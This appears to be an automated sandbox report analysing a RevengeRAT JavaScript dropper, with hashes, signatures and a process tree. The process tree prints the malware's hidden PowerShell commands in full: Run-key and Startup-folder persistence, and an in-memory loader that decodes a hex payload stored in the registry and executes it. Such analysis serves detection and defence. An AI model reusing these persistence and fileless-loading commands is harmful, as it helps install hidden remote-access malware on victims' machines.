Analysis
-
max time kernel
144s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
01-05-2024 11:22
Static task
static1
Behavioral task
behavioral1
Sample
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Resource
win10v2004-20240419-en
General
-
Target
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
-
Size
286KB
-
MD5
0baae90140666a166ba4c9afd6aeba63
-
SHA1
9bf0a78c3315231157c930e2b082bcc08595c540
-
SHA256
5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
-
SHA512
62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089
-
SSDEEP
3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9
Malware Config
Extracted
revengerat
Signatures
-
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
RevengeRat Executable 1 IoCs
resource yara_rule behavioral2/memory/4656-45-0x0000025377280000-0x0000025377288000-memory.dmp revengerat -
Blocklisted process makes network request 6 IoCs
flow pid Process 24 4656 powershell.exe 42 4656 powershell.exe 49 4656 powershell.exe 60 4656 powershell.exe 77 4656 powershell.exe 78 4656 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation wscript.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3024 powershell.exe 3024 powershell.exe 4840 powershell.exe 4396 powershell.exe 4840 powershell.exe 4396 powershell.exe 4656 powershell.exe 4656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3024 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4396 powershell.exe Token: SeDebugPrivilege 4656 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3812 wrote to memory of 3024 3812 wscript.exe 84 PID 3812 wrote to memory of 3024 3812 wscript.exe 84 PID 3024 wrote to memory of 4944 3024 powershell.exe 86 PID 3024 wrote to memory of 4944 3024 powershell.exe 86 PID 4944 wrote to memory of 4840 4944 wscript.exe 87 PID 4944 wrote to memory of 4840 4944 wscript.exe 87 PID 4944 wrote to memory of 4396 4944 wscript.exe 89 PID 4944 wrote to memory of 4396 4944 wscript.exe 89 PID 4944 wrote to memory of 4656 4944 wscript.exe 91 PID 4944 wrote to memory of 4656 4944 wscript.exe 91
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"4⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4396
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
286KB
MD50baae90140666a166ba4c9afd6aeba63
SHA19bf0a78c3315231157c930e2b082bcc08595c540
SHA2565be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
SHA51262c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089